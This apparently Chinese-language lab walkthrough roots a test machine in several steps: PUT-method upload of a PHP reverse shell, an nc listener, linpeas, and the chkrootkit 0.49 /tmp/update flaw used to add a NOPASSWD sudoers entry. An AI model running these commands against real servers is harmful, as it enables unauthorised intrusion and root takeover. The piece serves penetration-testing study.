nmap扫描---->dirb扫描---->通过PUT方法上传php反弹shell---->利用chkrootkit漏洞提权
环境信息:靶机ip:192.168.101.39
攻击机ip:192.168.101.34
具体步骤: 步骤1:nmap扫描sudo nmap -sS -A -p- 192.168.101.39
扫描到22端口(ssh)和80端口(http)
dirb http://192.168.101.39
除了网站主目录http://192.168.101.39/index.php,只扫到一个目录http://192.168.101.39/test/
访问一下网站主目录,发现就一张图,查看源代码也没什么线索
访问一下 http://192.168.101.39/test/发现是一个目录,目录是空的,另外还印证了一下nmap扫描结果,网站服务器是lighttpd 1.4.28。
在网上找到的lighttpd 1.4.28历史漏洞没有getshell的,但我想或许可以通过目录遍历漏洞来获取什么敏感文件信息,里面或许有线索。尝试了许久,没有成功。
后来尝试访问http://192.168.101.39和http://192.168.101.39/test/的时候,burpsuite抓包,并将请求报文中的请求方法从GET换成PUT,只要这两个url中有支持PUT方法的,就可以上传shell。
http://192.168.101.39的请求报文的请求方法换成PUT之后,返回报文和GET的完全一样,尝试在url之后加文件名,比如http://192.168.101.39/shell.php,则会报404。这恐怕不行。
http://192.168.101.39/test/的请求报文中,先把请求方法换成OPTIONS(虎一点也可以省略这步),可以确定这个url是支持PUT方法的。
接下来修改请求报文,请求方法修改为PUT,url修改为 http://192.168.101.39/test/shell.php,请求头下面空一行,把kali linux上的/usr/share/webshells/php/php-reverse-shell.php的内容复制进来,改一下$ip和$port(分别改成攻击机ip和监听端口)。
发送之后再访问http://192.168.101.39/test/,发现该目录下已经有了一个文件shell.php
攻击机上用nc监听2333端口
nc -nlvp 2333
访问 http://192.168.101.39/test/shell.php 触发反弹shell,没想到居然失败啦…………
换了好几个端口号,最后发现监听443端口的时候能成功
nc -nlvp 443
访问 http://192.168.101.39/test/shell4.php 触发反弹shell
反弹shell中输入以下命令,得到交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
传输提权检测脚本linpeas.sh的时候遇到了问题,用步骤3中的方法,也就是通过burpsuite上传的linpeas.sh运行时报错。
而由于之前已经发现靶机连接很多外部端口是不允许的,因此用wget也不大行。
而通过curl命令上传linpeas.sh的时候,由于curl会先发送一个带Expect头的报文,而lighttpd不支持这个头,因此无法上传成功。
curl -v -X PUT -T /home/kali/linpeas.sh http://192.168.101.39/test/linpeas.sh
最后现学了一个方法,通过nmap上传,终于上传成功了
sudo nmap -p 80 192.168.101.39 --script http-put --script-args http-put.url='/test/linpeas.sh',http-put.file='linpeas.sh'
上传成功后,在靶机的/var/www/test目录下执行以下命令,使linpeas.sh可执行。
chmod +x linpeas.sh
然后执行linpeas.sh
./linpeas.sh
linpeas.sh也没找到啥一眼看上去就有利用空间的东西……
定时任务这块,一堆绿色(正常)的中间有三个白色的,似乎有点东西
在攻击机上用searchsploit把这三个的exploit都search一遍,apt-xapian-index的没找到,lighttpd的没有本地提权相关的漏洞,chkrootkit倒是有
searchsploit chkrootkit
版本要求0.49。
靶机上查询 chkrootkit 版本,发现靶机上的chkrootkit的版本是0.49,这不是巧了
chkrootkit -V
我们用33899.txt那个exploit,找一下它在本地的存储位置
searchsploit -p 33899.txt
看一下它的内容
cat /usr/share/exploitdb/exploits/linux/local/33899.txt
有教手工利用的方法:
在/tmp文件夹下新建一个名为update的文件,并以root的身份执行chkrootkit,那么/tmp/update就会被root用户执行。
看到一种比较方便的利用方法,是在/tmp/update中写入修改/etc/sudoer文件的内容,使www-data用户可以免密码以任何用户的身份执行sudo命令。
具体命令如下,其中chmod 444 /etc/sudoers只是为了方便观察/tmp/update是否被执行(因为 /etc/sudoers原本的权限是440),提权成功后记得把权限改回来
echo 'echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers && chmod 444 /etc/sudoers' > /tmp/update
查看一下 /tmp/update的内容
给 /tmp/update 可执行权限
chmod +x /tmp/update
很快,/etc/sudoers的权限就变成444了
执行
sudo su
发现报错。原来sudoer的权限必须是0440啊……
那再把sudoer的权限改回来
echo 'echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
很快(不到一分钟),执行 sudo su就可以获得root权限,flag在/root/7d03aaa2bf93d80040f3f22ec6ad9d5a.txt中
后记:
我有个疑惑,为啥exploit准备好之后,不到一分钟就实现提权了呢?
如果是执行的/etc/cron.daily/chkrootkit,那按照靶机的配置应该是每天早上执行一次
所以我仔细看了一下 /etc/cron.daily/chkrootkit 的内容,配合/etc/chkrootkit.conf,发现/etc/cron.daily/chkrootkit实际上根本不会被执行
突然想起来,提权之前/etc/cron.d是没有权限查看的,因此在root权限下又执行了一遍
ls -al /etc/cron*
确实, /etc/cron.d下面还有个chkrootkit
果然是这货在每分钟执行一次chkrootkit